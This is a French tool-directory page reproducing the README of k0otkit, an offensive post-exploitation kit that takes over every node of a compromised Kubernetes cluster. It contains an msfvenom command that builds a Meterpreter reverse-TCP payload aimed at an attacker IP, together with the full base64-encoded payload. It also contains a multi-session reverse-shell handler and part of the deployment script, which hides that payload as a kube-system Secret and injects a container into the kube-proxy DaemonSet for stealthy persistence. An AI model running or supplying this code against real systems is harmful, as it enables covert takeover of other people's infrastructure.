Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
k0otkit — k0otkit est une technique universelle de post-pénétration qui peut être utilisée dans les pénétrations contre les clusters Kubernetes. | Kitploit
Outils/GitHubGitHub/metarget/k0otkit
Sécurité des ConteneursGénération de PayloadsRétro-ingénieriePost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingÉvasion de Conteneur
GitHubmetarget/k0otkit

k0otkit

k0otkit est une technique universelle de post-pénétration qui peut être utilisée dans les pénétrations contre les clusters Kubernetes.

Voir le dépôt
3005167il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

k0otkit - Manipuler K8s à la manière K8s

Introduction

k0otkit est une technique universelle de post-pénétration pouvant être utilisée dans les pénétrations contre les clusters Kubernetes.

Avec k0otkit, vous pouvez manipuler tous les nœuds du cluster Kubernetes cible de manière rapide, discrète et continue (reverse shell).

k0otkit est la combinaison de Kubernetes et rootkit.

Prérequis :

k0otkit est un outil de post-pénétration, vous devez donc d'abord conquérir un cluster, réussir d'une manière ou d'une autre à vous échapper du conteneur et obtenir le privilège root du nœud maître (pour être exact, vous devez obtenir le privilège admin du Kubernetes cible).

Scénario :

  1. Après une pénétration Web, vous obtenez un shell de la cible.
  2. Si nécessaire, vous parvenez à élever les privilèges et y parvenez.
  3. Vous découvrez que l'environnement cible est un conteneur (Pod) dans un cluster Kubernetes.
  4. Vous parvenez à vous échapper du conteneur et y réussissez (avec CVE-2016-5195, CVE-2019-5736, docker.sock ou d'autres techniques).
  5. Vous obtenez un shell root du nœud maître et êtes capable d'instruire le cluster avec kubectl sur le nœud maître en tant qu'admin.
  6. Maintenant vous voulez contrôler tous les nœuds du cluster aussi rapidement que possible. Voici k0otkit !

k0otkit est détaillé dans k0otkit : Pirater K8s à la manière K8s.

Utilisation

Assurez-vous d'avoir obtenu le shell root sur le nœud maître du Kubernetes cible. (Vous pouvez également utiliser k0otkit si vous avez le privilège admin du Kubernetes cible, bien que vous deviez peut-être modifier la commande kubectl dans k0otkit_template.sh pour utiliser le token ou le certificat.)

Assurez-vous d'avoir installé Metasploit sur votre hôte attaquant (msfvenom et msfconsole doivent être disponibles).

Déployer k0otkit

Clonez ce dépôt :

git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

Remplacez l'IP et le port de l'attaquant dans pre_exp.sh par votre propre IP et port :

ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

Générer k0otkit :

./pre_exp.sh

k0otkit.sh sera généré. Ensuite, exécutez le gestionnaire de reverse shell :

./handle_multi_reverse_shell.sh

Une fois le gestionnaire prêt, copiez le contenu de k0otkit.sh et collez-le dans votre shell sur le nœud maître du Kubernetes cible, puis appuyez sur <Entrée> pour l'exécuter.

Attendez un moment et profitez des reverse shells de tous les nœuds :)

P.S. Il n'y a pas de limite au nombre de clusters Kubernetes que vous manipulez avec k0otkit.

Interagir avec les Shells

Après le déploiement réussi de k0otkit, vous pouvez interagir avec n'importe quel reverse shell comme vous le souhaitez :

# dans msfconsole
sessions 1

Fonctionnalités

  • utiliser les ressources et fonctionnalités de K8s (pirater K8s à la manière K8s)
  • injection dynamique de conteneurs
  • chiffrement des communications (grâce à Meterpreter)
  • sans fichier

Exemple

Générer k0otkit :

kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

Exécuter le gestionnaire de reverse shell :

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >

Copiez le contenu de k0otkit.sh dans votre shell sur le nœud maître du Kubernetes cible et appuyez sur <Entrée> :

kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
Télécharger l’outil